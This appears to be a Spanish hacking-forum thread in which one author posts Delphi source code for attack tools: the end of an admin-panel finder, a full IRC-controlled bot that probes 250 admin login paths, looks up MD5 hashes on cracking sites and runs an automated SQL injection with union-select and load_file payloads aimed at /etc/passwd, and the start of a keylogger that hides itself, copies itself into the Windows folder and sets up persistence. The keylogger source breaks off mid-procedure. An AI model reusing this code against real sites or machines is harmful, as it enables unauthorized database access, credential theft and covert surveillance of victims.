    'administrator/index.html', 'administrator/login.html',
    'administrator/account.html', 'administrator/account.php',
    'administrator.html', 'login.html', 'modelsearch/login.php',
    'moderator.php', 'moderator.html', 'moderator/login.php',
    'moderator/login.html', 'moderator/admin.php', 'moderator/admin.html',
    'moderator/', 'account.php', 'account.html', 'controlpanel/',
    'controlpanel.php', 'controlpanel.html', 'admincontrol.php',
    'admincontrol.html', 'adminpanel.php', 'adminpanel.html', 'admin1.asp',
    'admin2.asp', 'yonetim.asp', 'yonetici.asp', 'admin/account.asp',
    'admin/home.asp', 'admin/controlpanel.asp', 'admin/cp.asp', 'cp.asp',
    'administrator/index.asp', 'administrator/login.asp',
    'administrator/account.asp', 'administrator.asp', 'modelsearch/login.asp',
    'moderator.asp', 'moderator/login.asp', 'moderator/admin.asp',
    'account.asp', 'controlpanel.asp', 'admincontrol.asp', 'adminpanel.asp',
    'fileadmin/', 'fileadmin.php', 'fileadmin.asp', 'fileadmin.html',
    'administration.html', 'sysadmin.php', 'sysadmin.html', 'phpmyadmin/',
    'myadmin/', 'sysadmin.asp', 'sysadmin/', 'ur-admin.asp', 'ur-admin.php',
    'ur-admin.html', 'ur-admin/', 'Server.php', 'Server.html', 'Server.asp',
    'Server/', 'wpadmin/', 'administr8.php', 'administr8.html', 'administr8/',
    'administr8.asp', 'webadmin/', 'webadmin.php', 'webadmin.asp',
    'webadmin.html', 'administratie/', 'admins/', 'admins.php', 'admins.asp',
    'admins.html', 'administrivia/', 'Database_Administration/', 'WebAdmin/',
    'useradmin/', 'sysadmins/', 'admin1/', 'systemadministration/',
    'administrators/', 'pgadmin/', 'directadmin/', 'staradmin/',
    'ServerAdministrator/', 'SysAdmin/', 'administer/', 'LiveUser_Admin/',
    'sysadmin/', 'typo3/', 'panel/', 'cpanel/', 'cPanel/', 'cpanel_file/',
    'platz_login/', 'rcLogin/', 'blogindex/', 'formslogin/', 'autologin/',
    'support_login/', 'meta_login/', 'manuallogin/', 'simpleLogin/',
    'loginflat/', 'utility_login/', 'showlogin/', 'memlogin/', 'members/',
    'login-redirect/', 'sublogin/', 'wplogin/', 'login1/', 'dirlogin/',
    'login_db/', 'xlogin/', 'smblogin/', 'customer_login/', 'UserLogin/',
    'loginus/', 'acct_login/', 'admin_area/', 'bigadmin/', 'project-admins/',
    'phppgadmin/', 'pureadmin/', 'sqladmin/', 'radmind/', 'openvpnadmin/',
    'wizmysqladmin/', 'vadmind/', 'ezsqliteadmin/', 'hpwebjetadmin/',
    'newsadmin/', 'adminpro/', 'Lotus_Domino_Admin/', 'bbadmin/',
    'vmailadmin/', 'Indy_admin/', 'ccp14admin/', 'irc-macadmin/',
    'banneradmin/', 'sshadmin/', 'phpldapadmin/', 'macadmin/',
    'administratoraccounts/', 'admin4_account/', 'admin4_colon/', 'radmind1/',
    'SuperAdmin/', 'AdminTools/', 'cmsadmin/', 'SysAdmin2/', 'globes_admin/',
    'cadmins/', 'phpSQLiteAdmin/', 'navSiteAdmin/', 'server_admin_small/',
    'logo_sysadmin/', 'server/', 'database_administration/', 'power_user/',
    'system_administration/', 'ss_vms_admin_sm/');
var
  IdHTTP: TIdHTTP;
  i: Integer;
  control: Integer;
begin

  control := 0;

  sStatusBar1.Panels[0].Text := '[+] Finding Panel ....';
  Form2.sStatusBar1.Update;

  IdHTTP := TIdHTTP.Create(nil);

  for i := Low(paginas) to High(paginas) do

    if (control = 1) then
    begin
      Abort;
    end
    else
    begin

      try

        sStatusBar1.Panels[0].Text := '[+] Testing : ' + paginas[i];
        Form2.sStatusBar1.Update;

        IdHTTP.Get(sEdit1.Text + '/' + paginas[i]);
        if IdHTTP.ResponseCode = 200 then
        begin

          sStatusBar1.Panels[0].Text := '[+] Done';
          Form2.sStatusBar1.Update;
          sEdit1.Text := sEdit1.Text + '/' + paginas[i];
          control := 1;
        end;
      except
        on E: EIdHttpProtocolException do
          ;
        on E: Exception do
          ;
      end;

    end;

  sStatusBar1.Panels[0].Text := '[+] Done';
  Form2.sStatusBar1.Update;

end;

procedure TForm2.sButton4Click(Sender: TObject);
begin
  FindDialog1.Execute;
end;

procedure TForm2.WebBrowser1DownloadComplete(Sender: TObject);
var
  buscador: IHTMLElement;
begin

  sProgressBar1.Position := 0;

  // Get HTML based on : http://delphi.about.com/od/adptips2005/qt/webbrowserhtml.htm

  begin

    try
      begin

        sMemo2.Clear;

        buscador := (WebBrowser1.Document AS IHTMLDocument2).body;

        while not(buscador.parentElement = nil) do
        begin
          buscador := buscador.parentElement;
        end;
        sMemo2.Lines.Add(buscador.outerHTML);
      end;
    except
      // ??
    end;
  end;
end;

procedure TForm2.WebBrowser1ProgressChange(ASender: TObject;
  Progress, ProgressMax: Integer);
begin
  sProgressBar1.Max := ProgressMax;
  sProgressBar1.Position := Progress;
end;

end.

// The End ?

  
  
  Si lo quieren bajar lo pueden hacer de aca.
  
  

Acabo de terminar mi nuevo programa en Delphi "ClapTrap IRC Bot" , como su nombre dice es solo un bot para IRC con las siguientes opciones :

• Busca panel de administracion
  
• Localiza IP y sus DNS
  
• Crackea hashes MD5
  
• Y scannea SQLI
  
  Unas imagenes :
  
  
  
  
  
  Menu de carga
  
  
  Código (delphi) [Seleccionar] Expandir
  
// ClapTrap IRC Bot 0.5
// (C) Doddy Hackman 2013

unit clap;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, acPNG, ExtCtrls, sSkinManager, ComCtrls, acProgressBar, StdCtrls,
  sGroupBox, sButton, sLabel;

type
  TForm1 = class(TForm)
    sSkinManager1: TsSkinManager;
    Image1: TImage;
    sGroupBox1: TsGroupBox;
    sProgressBar1: TsProgressBar;
    Timer1: TTimer;
    procedure FormCreate(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

uses menu;
{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);

begin

  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'cappuccino';
  sSkinManager1.Active := True;

end;

procedure TForm1.Timer1Timer(Sender: TObject);
var
  i: integer;
  total: integer;

begin

  total := 0;
  sProgressBar1.Min := 0;
  sProgressBar1.Max := 100;

  For i := 1 to 100 do
  begin

    Form1.Update;

    Sleep(1000);

    total := total + 10;

    sProgressBar1.Position := total;

    if (sProgressBar1.Position = 100) then
    begin
      Timer1.Enabled := False;
      Form1.Hide;
      Form2.Show;
      Abort;
    end;
  end;

end;

end.

// The End ?

  
  Menu
  
  
  Código (delphi) [Seleccionar] Expandir
  
// ClapTrap IRC Bot 0.5
// (C) Doddy Hackman 2013

unit menu;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, sSkinManager, StdCtrls, sButton, sEdit, sLabel, sGroupBox, ComCtrls,
  sStatusBar, acPNG, ExtCtrls, GIFImg, sMemo, IdContext, IdBaseComponent,
  IdComponent, IdTCPConnection, IdTCPClient, IdCmdTCPClient, IdIRC, PerlRegEx,
  IdMultipartFormData, IdHTTP;

type
  TForm2 = class(TForm)
    sSkinManager1: TsSkinManager;
    sGroupBox1: TsGroupBox;
    sLabel1: TsLabel;
    sLabel2: TsLabel;
    sLabel3: TsLabel;
    sLabel4: TsLabel;
    sEdit1: TsEdit;
    sEdit2: TsEdit;
    sEdit3: TsEdit;
    sEdit4: TsEdit;
    sButton1: TsButton;
    sButton2: TsButton;
    sStatusBar1: TsStatusBar;
    Image1: TImage;
    sGroupBox2: TsGroupBox;
    sMemo1: TsMemo;
    Image2: TImage;
    PerlRegEx1: TPerlRegEx;
    IdIRC1: TIdIRC;
    PerlRegEx2: TPerlRegEx;
    IdHTTP1: TIdHTTP;
    procedure sButton1Click(Sender: TObject);
    procedure sButton2Click(Sender: TObject);
    procedure IdIRC1PrivateMessage(ASender: TIdContext; const ANicknameFrom,
      AHost, ANicknameTo, AMessage: string);

    procedure FormCreate(Sender: TObject);

    procedure FormClose(Sender: TObject; var Action: TCloseAction);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form2: TForm2;

implementation

{$R *.dfm}

procedure TForm2.FormClose(Sender: TObject; var Action: TCloseAction);
begin
  Application.Terminate;
end;

procedure TForm2.FormCreate(Sender: TObject);
begin
  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'cappuccino';
  sSkinManager1.Active := True;
end;

procedure TForm2.IdIRC1PrivateMessage(ASender: TIdContext; const ANicknameFrom,
  AHost, ANicknameTo, AMessage: string);

var
  rta: string;
  z: integer;
  par: TIdMultiPartFormDataStream;
  target: string;

var
  IdHTTP: TIdHTTP;
  i: integer;

var
  url: string;
  urldos: string;
  code: string;
  codedos: string;
  pass1: string;
  pass2: string;
  urltest: string;
  urlgen: string;

var
  hextest: string;
  web1: string;
  web2: string;
  web3: string;
  full: string;

const
  paginas: array [1 .. 250] of string = ('admin/admin.asp', 'admin/login.asp',
    'admin/index.asp', 'admin/admin.aspx', 'admin/login.aspx',
    'admin/index.aspx', 'admin/webmaster.asp', 'admin/webmaster.aspx',
    'asp/admin/index.asp', 'asp/admin/index.aspx', 'asp/admin/admin.asp',
    'asp/admin/admin.aspx', 'asp/admin/webmaster.asp',
    'asp/admin/webmaster.aspx', 'admin/', 'login.asp', 'login.aspx',
    'admin.asp', 'admin.aspx', 'webmaster.aspx', 'webmaster.asp',
    'login/index.asp', 'login/index.aspx', 'login/login.asp',
    'login/login.aspx', 'login/admin.asp', 'login/admin.aspx',
    'administracion/index.asp', 'administracion/index.aspx',
    'administracion/login.asp', 'administracion/login.aspx',
    'administracion/webmaster.asp', 'administracion/webmaster.aspx',
    'administracion/admin.asp', 'administracion/admin.aspx', 'php/admin/',
    'admin/admin.php', 'admin/index.php', 'admin/login.php',
    'admin/system.php', 'admin/ingresar.php', 'admin/administrador.php',
    'admin/default.php', 'administracion/', 'administracion/index.php',
    'administracion/login.php', 'administracion/ingresar.php',
    'administracion/admin.php', 'administration/', 'administration/index.php',
    'administration/login.php', 'administrator/index.php',
    'administrator/login.php', 'administrator/system.php', 'system/',
    'system/login.php', 'admin.php', 'login.php', 'administrador.php',
    'administration.php', 'administrator.php', 'admin1.html', 'admin1.php',
    'admin2.php', 'admin2.html', 'yonetim.php', 'yonetim.html', 'yonetici.php',
    'yonetici.html', 'adm/', 'admin/account.php', 'admin/account.html',
    'admin/index.html', 'admin/login.html', 'admin/home.php',
    'admin/controlpanel.html', 'admin/controlpanel.php', 'admin.html',
    'admin/cp.php', 'admin/cp.html', 'cp.php', 'cp.html', 'administrator/',
    'administrator/index.html', 'administrator/login.html',
    'administrator/account.html', 'administrator/account.php',
    'administrator.html', 'login.html', 'modelsearch/login.php',
    'moderator.php', 'moderator.html', 'moderator/login.php',
    'moderator/login.html', 'moderator/admin.php', 'moderator/admin.html',
    'moderator/', 'account.php', 'account.html', 'controlpanel/',
    'controlpanel.php', 'controlpanel.html', 'admincontrol.php',
    'admincontrol.html', 'adminpanel.php', 'adminpanel.html', 'admin1.asp',
    'admin2.asp', 'yonetim.asp', 'yonetici.asp', 'admin/account.asp',
    'admin/home.asp', 'admin/controlpanel.asp', 'admin/cp.asp', 'cp.asp',
    'administrator/index.asp', 'administrator/login.asp',
    'administrator/account.asp', 'administrator.asp', 'modelsearch/login.asp',
    'moderator.asp', 'moderator/login.asp', 'moderator/admin.asp',
    'account.asp', 'controlpanel.asp', 'admincontrol.asp', 'adminpanel.asp',
    'fileadmin/', 'fileadmin.php', 'fileadmin.asp', 'fileadmin.html',
    'administration.html', 'sysadmin.php', 'sysadmin.html', 'phpmyadmin/',
    'myadmin/', 'sysadmin.asp', 'sysadmin/', 'ur-admin.asp', 'ur-admin.php',
    'ur-admin.html', 'ur-admin/', 'Server.php', 'Server.html', 'Server.asp',
    'Server/', 'wpadmin/', 'administr8.php', 'administr8.html', 'administr8/',
    'administr8.asp', 'webadmin/', 'webadmin.php', 'webadmin.asp',
    'webadmin.html', 'administratie/', 'admins/', 'admins.php', 'admins.asp',
    'admins.html', 'administrivia/', 'Database_Administration/', 'WebAdmin/',
    'useradmin/', 'sysadmins/', 'admin1/', 'systemadministration/',
    'administrators/', 'pgadmin/', 'directadmin/', 'staradmin/',
    'ServerAdministrator/', 'SysAdmin/', 'administer/', 'LiveUser_Admin/',
    'sysadmin/', 'typo3/', 'panel/', 'cpanel/', 'cPanel/', 'cpanel_file/',
    'platz_login/', 'rcLogin/', 'blogindex/', 'formslogin/', 'autologin/',
    'support_login/', 'meta_login/', 'manuallogin/', 'simpleLogin/',
    'loginflat/', 'utility_login/', 'showlogin/', 'memlogin/', 'members/',
    'login-redirect/', 'sublogin/', 'wplogin/', 'login1/', 'dirlogin/',
    'login_db/', 'xlogin/', 'smblogin/', 'customer_login/', 'UserLogin/',
    'loginus/', 'acct_login/', 'admin_area/', 'bigadmin/', 'project-admins/',
    'phppgadmin/', 'pureadmin/', 'sqladmin/', 'radmind/', 'openvpnadmin/',
    'wizmysqladmin/', 'vadmind/', 'ezsqliteadmin/', 'hpwebjetadmin/',
    'newsadmin/', 'adminpro/', 'Lotus_Domino_Admin/', 'bbadmin/',
    'vmailadmin/', 'Indy_admin/', 'ccp14admin/', 'irc-macadmin/',
    'banneradmin/', 'sshadmin/', 'phpldapadmin/', 'macadmin/',
    'administratoraccounts/', 'admin4_account/', 'admin4_colon/', 'radmind1/',
    'SuperAdmin/', 'AdminTools/', 'cmsadmin/', 'SysAdmin2/', 'globes_admin/',
    'cadmins/', 'phpSQLiteAdmin/', 'navSiteAdmin/', 'server_admin_small/',
    'logo_sysadmin/', 'server/', 'database_administration/', 'power_user/',
    'system_administration/', 'ss_vms_admin_sm/');

begin
  if ANicknameFrom = sEdit4.Text then
  begin

    // Help

    PerlRegEx1.Regex := '!help';
    PerlRegEx1.Subject := AMessage;

    if PerlRegEx1.Match then
    begin
      IdIRC1.Say(ANicknameFrom, 'Hi , I am ClapTrap and my commands are :');
      IdIRC1.Say(ANicknameFrom, '!locateip <target>');
      IdIRC1.Say(ANicknameFrom, '!panel <target>');
      IdIRC1.Say(ANicknameFrom, '!sqli <target>');
      IdIRC1.Say(ANicknameFrom, '!crackmd5 <md5>');
      IdIRC1.Say(ANicknameFrom, '!help <?>');
      IdIRC1.Say(ANicknameFrom, 'Good Bye');
    end;

    //

    // LocateIP

    PerlRegEx1.Regex := '!locateip (.*)';
    PerlRegEx1.Subject := AMessage;

    if PerlRegEx1.Match then
    begin

      sStatusBar1.Panels[0].Text := '[+] LocateIP : Working';
      Form2.sStatusBar1.Update;

      sMemo1.Lines.Add('[+] LocateIP : Working');

      IdIRC1.Say(ANicknameFrom, '[+] LocateIP : Working');

      par := TIdMultiPartFormDataStream.Create;
      par.AddFormField('DOMAINNAME', PerlRegEx1.SubExpressions[1]);

      rta := IdHTTP1.Post('http://whatismyipaddress.com/hostname-ip', par);

      PerlRegEx2.Regex := 'Lookup IP Address: <a href=(.*)>(.*)<\/a>';
      PerlRegEx2.Subject := rta;

      if PerlRegEx2.Match then
      begin
        target := PerlRegEx2.SubExpressions[2];

        rta := IdHTTP1.Get(
          'http://www.melissadata.com/lookups/iplocation.asp?ipaddress=' +
            target);

        PerlRegEx2.Regex := 'City<\/td><td align=(.*)><b>(.*)<\/b><\/td>';
        PerlRegEx2.Subject := rta;

        if PerlRegEx2.Match then
        begin

          IdIRC1.Say(ANicknameFrom, '[+] City : ' + PerlRegEx2.SubExpressions[2]
            );

        end
        else
        begin
          IdIRC1.Say(ANicknameFrom, '[+] City : Not Found');
        end;

        PerlRegEx2.Regex := 'Country<\/td><td align=(.*)><b>(.*)<\/b><\/td>';
        PerlRegEx2.Subject := rta;

        if PerlRegEx2.Match then
        begin
          IdIRC1.Say(ANicknameFrom, '[+] Country : ' + PerlRegEx2.SubExpressions
              [2]);

        end
        else
        begin
          IdIRC1.Say(ANicknameFrom, '[+] Country : Not Found');
        end;

        PerlRegEx2.Regex :=
          'State or Region<\/td><td align=(.*)><b>(.*)<\/b><\/td>';
        PerlRegEx2.Subject := rta;

        if PerlRegEx2.Match then
        begin
          IdIRC1.Say(ANicknameFrom, '[+] State : ' + PerlRegEx2.SubExpressions
              [2]);
        end
        else
        begin
          IdIRC1.Say(ANicknameFrom, '[+] State : Not Found');
        end;

        //

        // Get DNS

        rta := IdHTTP1.Get('http://www.ip-adress.com/reverse_ip/' + target);

        PerlRegEx2.Regex := 'whois\/(.*?)\">Whois';
        PerlRegEx2.Subject := rta;

        while PerlRegEx2.MatchAgain do
        begin
          for z := 1 to PerlRegEx2.SubExpressionCount do
            IdIRC1.Say(ANicknameFrom,
              '[+] DNS Found : ' + PerlRegEx2.SubExpressions[z]);
        end;

      end;

      sStatusBar1.Panels[0].Text := '[+] LocateIP : Finished';
      Form2.sStatusBar1.Update;

      sMemo1.Lines.Add('[+] LocateIP : Finished');

      IdIRC1.Say(ANicknameFrom, '[+] LocateIP : Finished');

      //
    end;

    //

    // PanelFinder

    PerlRegEx1.Regex := '!panel (.*)';
    PerlRegEx1.Subject := AMessage;

    if PerlRegEx1.Match then
    begin
      //

      sStatusBar1.Panels[0].Text := '[+] PanelFinder : Working';
      Form2.sStatusBar1.Update;

      IdIRC1.Say(ANicknameFrom, '[+] PanelFinder : Working');

      sMemo1.Lines.Add('[+] PanelFinder : Working');

      try

        IdHTTP := TIdHTTP.Create(nil);

        for i := Low(paginas) to High(paginas) do
          try

            sStatusBar1.Panels[0].Text := '[+] Testing : ' + paginas[i];
            Form2.sStatusBar1.Update;

            IdHTTP.Get(PerlRegEx1.SubExpressions[1] + '/' + paginas[i]);
            if IdHTTP.ResponseCode = 200 then
              IdIRC1.Say(ANicknameFrom,
                '[+] Link Found : ' + PerlRegEx1.SubExpressions[1]
                  + '/' + paginas[i]);
          except
            on E: EIdHttpProtocolException do
              ;
            on E: Exception do
              ;
          end;
      finally
        IdHTTP.Free;
      end;

      sStatusBar1.Panels[0].Text := '[+] PanelFinder : Finished';
      Form2.sStatusBar1.Update;

      IdIRC1.Say(ANicknameFrom, '[+] PanelFinder : Finished');

      sMemo1.Lines.Add('[+] PanelFinder : Finished');

      //
    end;

    //

    // Crack MD5

    PerlRegEx1.Regex := '!crackmd5 (.*)';
    PerlRegEx1.Subject := AMessage;

    if PerlRegEx1.Match then
    begin

      sStatusBar1.Panels[0].Text := '[+] CrackMD5 : Working';
      Form2.sStatusBar1.Update;

      sMemo1.Lines.Add('[+] CrackMD5 : Working');

      IdIRC1.Say(ANicknameFrom, '[+] CrackMD5 : Working');

      sStatusBar1.Panels[0].Text := '[+] Searching in md5.hashcracking.com ...';
      Form2.sStatusBar1.Update;

      rta := IdHTTP1.Get('http://md5.hashcracking.com/search.php?md5=' +
          PerlRegEx1.SubExpressions[1]);

      PerlRegEx2.Regex := 'Cleartext of (.*) is (.*)';
      PerlRegEx2.Subject := rta;
      if PerlRegEx2.Match then
      begin
        IdIRC1.Say(ANicknameFrom, PerlRegEx1.SubExpressions[1]
            + ':' + PerlRegEx2.SubExpressions[2]);
      end
      else
      begin

        rta := IdHTTP1.Get('http://md5.rednoize.com/?q=' +
            PerlRegEx1.SubExpressions[1]);

        PerlRegEx2.Regex := '<div id=\"result\" >(.*)<\/div>';
        PerlRegEx2.Subject := rta;

        if PerlRegEx2.Match then

        begin

          if not(Length(PerlRegEx2.SubExpressions[1]) = 32) then
          begin
            IdIRC1.Say(ANicknameFrom, PerlRegEx1.SubExpressions[1]
                + ':' + PerlRegEx2.SubExpressions[1]);
          end
          else

          begin

            sStatusBar1.Panels[0].Text :=
              '[+] Searching in md52.altervista.org ...';
            Form2.sStatusBar1.Update;

            rta := IdHTTP1.Get
              ('http://md52.altervista.org/index.php?md5=' +
                PerlRegEx1.SubExpressions[1]);

            PerlRegEx2.Regex :=
              '<br>Password: <font color=\"Red\">(.*)<\/font><\/b>';
            PerlRegEx2.Subject := rta;

            if PerlRegEx2.Match then
            begin
              IdIRC1.Say(ANicknameFrom, PerlRegEx1.SubExpressions[1]
                  + ':' + PerlRegEx2.SubExpressions[1]);
            end
            else
            begin
              IdIRC1.Say(ANicknameFrom, '[-] Hash not cracked');
            end;
          end;

        end;
      end;

      sStatusBar1.Panels[0].Text := '[+] CrackMD5 : Finished';
      Form2.sStatusBar1.Update;

      sMemo1.Lines.Add('[+] CrackMD5 : Finished');

      IdIRC1.Say(ANicknameFrom, '[+] CrackMD5 : Finished');

    end;

    //

    // SQLI Scanner

    PerlRegEx1.Regex := '!sqli (.*)';
    PerlRegEx1.Subject := AMessage;

    if PerlRegEx1.Match then

    begin

      sStatusBar1.Panels[0].Text := '[+] SQLI Scanner : Working';
      Form2.sStatusBar1.Update;

      sMemo1.Lines.Add('[+] SQLI Scanner : Working');

      IdIRC1.Say(ANicknameFrom, '[+] SQLI Scanner : Working');

      pass1 := '+';
      pass2 := '--';

      urltest := 'concat(0x4b30425241,1,0x4b30425241)';

      sStatusBar1.Panels[0].Text := '[+] Checking ...';
      Form2.sStatusBar1.Update;

      IdIRC1.Say(ANicknameFrom, '[+] Checking ...');

      code := IdHTTP1.Get
        (PerlRegEx1.SubExpressions[1] + '1' + pass1 + 'and' + pass1 + '1=1' +
          pass2);

      codedos := IdHTTP1.Get
        (PerlRegEx1.SubExpressions[1] + '1' + pass1 + 'and' + pass1 + '1=0' +
          pass2);

      if not(code = codedos) then
      begin

        IdIRC1.Say(ANicknameFrom, '[+] Vulnerable !');

        sStatusBar1.Panels[0].Text := '[+] Finding columns number';
        Form2.sStatusBar1.Update;

        IdIRC1.Say(ANicknameFrom, '[+] Finding columns number');

        urltest := '1' + pass1 + 'and' + pass1 + '1=0' + pass1 + 'union' +
          pass1 + 'select' + pass1 + 'concat(0x4b30425241,1,0x4b30425241)';
        urlgen := '1';
        for i := 2 to 36 do
        begin
          sStatusBar1.Panels[0].Text := '[+] Columns Length : ' + IntToStr(i);
          Form2.sStatusBar1.Update;
          urltest := urltest + ',concat(0x4b30425241,' + IntToStr(i)
            + ',0x4b30425241)';
          urlgen := urlgen + ',' + IntToStr(i);
          code := IdHTTP1.Get(PerlRegEx1.SubExpressions[1] + urltest + pass2);
          PerlRegEx2.Regex := 'K0BRA(.*?)K0BRA';
          PerlRegEx2.Subject := code;

          if PerlRegEx2.Match then
          begin

            IdIRC1.Say(ANicknameFrom, '[+] Columns Length : ' + IntToStr(i));
            IdIRC1.Say(ANicknameFrom,
              '[+] The number ' + PerlRegEx2.SubExpressions[1] + ' show data');

            urlgen := StringReplace(urlgen, PerlRegEx2.SubExpressions[1],
              'hackman', []);
            full := PerlRegEx1.SubExpressions[1] + '1' + pass1 + 'and' +
              pass1 + '1=0' + pass1 + 'union' + pass1 + 'select' + pass1 +
              urlgen;

            IdIRC1.Say(ANicknameFrom, '[+] Link : ' + full);

            //

            pass1 := '+';
            pass2 := '--';

            hextest := '0x2f6574632f706173737764'; // /etc/passwd
            hextest := '0x633A2F78616D70702F726561642E747874';
            // #c:/xampp/read.txt

            web1 := StringReplace(full, 'hackman', '0x4b30425241', []);
            web2 := StringReplace(full, 'hackman',
              'concat(0x4b30425241,user(),0x4b30425241,database(),0x4b30425241,version(),0x4b30425241)', []);
            web3 := StringReplace(full, 'hackman',
              'unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file(' +
                hextest + '))))', []);

            sStatusBar1.Panels[0].Text := '[+] Getting more data ...';
            Form2.sStatusBar1.Update;

            code := IdHTTP1.Get
              (web1 + pass1 + 'from' + pass1 + 'mysql.user' + pass2);
            PerlRegEx2.Regex := 'K0BRA';
            PerlRegEx2.Subject := code;
            if PerlRegEx2.Match then
            begin
              IdIRC1.Say(ANicknameFrom, '[+] mysqluser : ON');
            end
            else
            begin
              IdIRC1.Say(ANicknameFrom, '[+] mysqluser : OFF');
            end;

            code := IdHTTP1.Get(web1 + pass1 + 'from' + pass1 +
                'information_schema.tables' + pass2);
            PerlRegEx2.Regex := 'K0BRA';
            PerlRegEx2.Subject := code;
            if PerlRegEx2.Match then
            begin

              IdIRC1.Say(ANicknameFrom, '[+] information_schema.tables : ON');
            end
            else
            begin
              IdIRC1.Say(ANicknameFrom, '[+] information_schema.tables : OFF');
            end;

            code := IdHTTP1.Get(web3);
            PerlRegEx2.Regex := 'K0BRA';
            PerlRegEx2.Subject := code;
            if PerlRegEx2.Match then
            begin
              IdIRC1.Say(ANicknameFrom, '[+] load_file : ON');
            end
            else
            begin
              IdIRC1.Say(ANicknameFrom, '[+] load_file : OFF');
            end;

            sStatusBar1.Panels[0].Text := '[+] Getting DB details ...';
            Form2.sStatusBar1.Update;

            code := IdHTTP1.Get(web2);

            PerlRegEx2.Regex := 'K0BRA(.*)K0BRA(.*)K0BRA(.*)K0BRA';
            PerlRegEx2.Subject := code;
            if PerlRegEx2.Match then
            begin

              IdIRC1.Say(ANicknameFrom,
                '[+] User : ' + PerlRegEx2.SubExpressions[1]);
              IdIRC1.Say(ANicknameFrom,
                '[+] Database : ' + PerlRegEx2.SubExpressions[2]);
              IdIRC1.Say(ANicknameFrom,
                '[+] Version : ' + PerlRegEx2.SubExpressions[3]);

              sStatusBar1.Panels[0].Text := '[+] Done';
              Form2.sStatusBar1.Update;
            end
            else
            begin
              IdIRC1.Say(ANicknameFrom, '[-] DB details not found');
              sStatusBar1.Panels[0].Text := '[-] DB details not found';
              Form2.sStatusBar1.Update;
            end;


            //

            sStatusBar1.Panels[0].Text := '[+] Done';
            Form2.sStatusBar1.Update;

            IdIRC1.Say(ANicknameFrom, '[+] Done');

            sMemo1.Lines.Add('[+] SQLI Scanner : Finished');

            sStatusBar1.Panels[0].Text := '[+] SQLI Scanner : Finished';
            Form2.sStatusBar1.Update;

            IdIRC1.Say(ANicknameFrom, '[+] SQLI Scanner : Finished');

            abort;
          end
        end;
        sStatusBar1.Panels[0].Text := '[-] Columns Length not found';
        Form2.sStatusBar1.Update;
        IdIRC1.Say(ANicknameFrom, '[-] Columns Length not found');
      end
      else
      begin
        sStatusBar1.Panels[0].Text := '[-] Not vulnerable';
        Form2.sStatusBar1.Update;
        IdIRC1.Say(ANicknameFrom, '[-] Not vulnerable');
      end;

      sStatusBar1.Panels[0].Text := '[+] SQLI Scanner : Finished';
      Form2.sStatusBar1.Update;

      IdIRC1.Say(ANicknameFrom, '[+] SQLI Scanner : Finished');

      sMemo1.Lines.Add('[+] SQLI Scanner : Finished');

    end;

  end;
end;

procedure TForm2.sButton1Click(Sender: TObject);
var
  nick: string;
begin

  nick := 'ClapTrap';

  IdIRC1.Host := sEdit1.Text;
  IdIRC1.Port := StrToInt(sEdit2.Text);
  IdIRC1.Nickname := nick;
  IdIRC1.Username := nick + ' 1 1 1 1';
  IdIRC1.AltNickname := nick + '-l33t';

  try

    IdIRC1.Connect;
    IdIRC1.Join(sEdit3.Text);

    sStatusBar1.Panels[0].Text := '[+] Connected';
    Form2.sStatusBar1.Update;

  except
    sStatusBar1.Panels[0].Text := '[-] Error';
    Form2.sStatusBar1.Update;
  end;

end;

procedure TForm2.sButton2Click(Sender: TObject);
begin

  IdIRC1.Part(sEdit3.Text);
  IdIRC1.Disconnect();

  sStatusBar1.Panels[0].Text := '[+] OffLine';
  Form2.sStatusBar1.Update;

end;

end.

// The End ?

  
  En honor a ClapTrap el robot gracioso de BorderLands xDD.
  
  Si lo quieren bajar lo pueden hacer de aca.

Un simple keylogger en delphi , en esta version se podria decir que es un "prototipo" ya que en la proxima version de este keylogger me concentrare en ciertos detalles.

El keylogger tiene las siguientes funciones :

• Captura teclas reconociendo mayusculas y minusculas
  
• Captura el nombre de la ventana actual
  
• Captura un screenshot del escritorio cada 1 hora
  
• Guarda todos los registros en un archivo HTML "ordenado"
  
• Oculta todos los archivos relacionados con el keylogger
  
• Se mueve y oculta en una carpeta de Windows
  
• Se carga cada vez que inicia Windows
  
  * Usen shift+F9 para abrir el panel de control.
  
  Unas imagenes :
  
  
  
  
  
  El codigo :
  
  
  Código (delphi) [Seleccionar] Expandir
  
// DH Keycagator 0.2
// (C) Doddy Hackman 2013

unit dhkey;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, acPNG, ExtCtrls, StdCtrls, Registry;

type
  TForm1 = class(TForm)
    Image1: TImage;
    GroupBox1: TGroupBox;
    Edit1: TEdit;
    Button1: TButton;
    Timer1: TTimer;
    procedure Button1Click(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

uses dhmain;
{$R *.dfm}

procedure savefile(filename, texto: string);
var
  ar: TextFile;

begin

  AssignFile(ar, filename);
  FileMode := fmOpenWrite;

  if FileExists(filename) then
    Append(ar)
  else
    Rewrite(ar);

  Write(ar, texto);
  CloseFile(ar);

end;

procedure TForm1.Button1Click(Sender: TObject);
var
  password: string;
begin

  password := '123'; // Edit the password

  if (Edit1.Text = password) then
  begin
    Form1.Hide;
    Form2.Show;
  end
  else
  begin
    ShowMessage('Fuck You');
  end;

end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
  Form1.Hide;
  Abort;
end;

procedure TForm1.FormCreate(Sender: TObject);
var
  dir: string;
  nombrereal: string;
  rutareal: string;
  yalisto: string;
  her: TRegistry;
begin

  Application.ShowMainForm := False;

  nombrereal := ExtractFileName(ParamStr(0));
  rutareal := ParamStr(0);
  yalisto := GetEnvironmentVariable('WINDIR') + '/acatoy_xD/' + nombrereal;

  MoveFile(Pchar(rutareal), Pchar(yalisto));

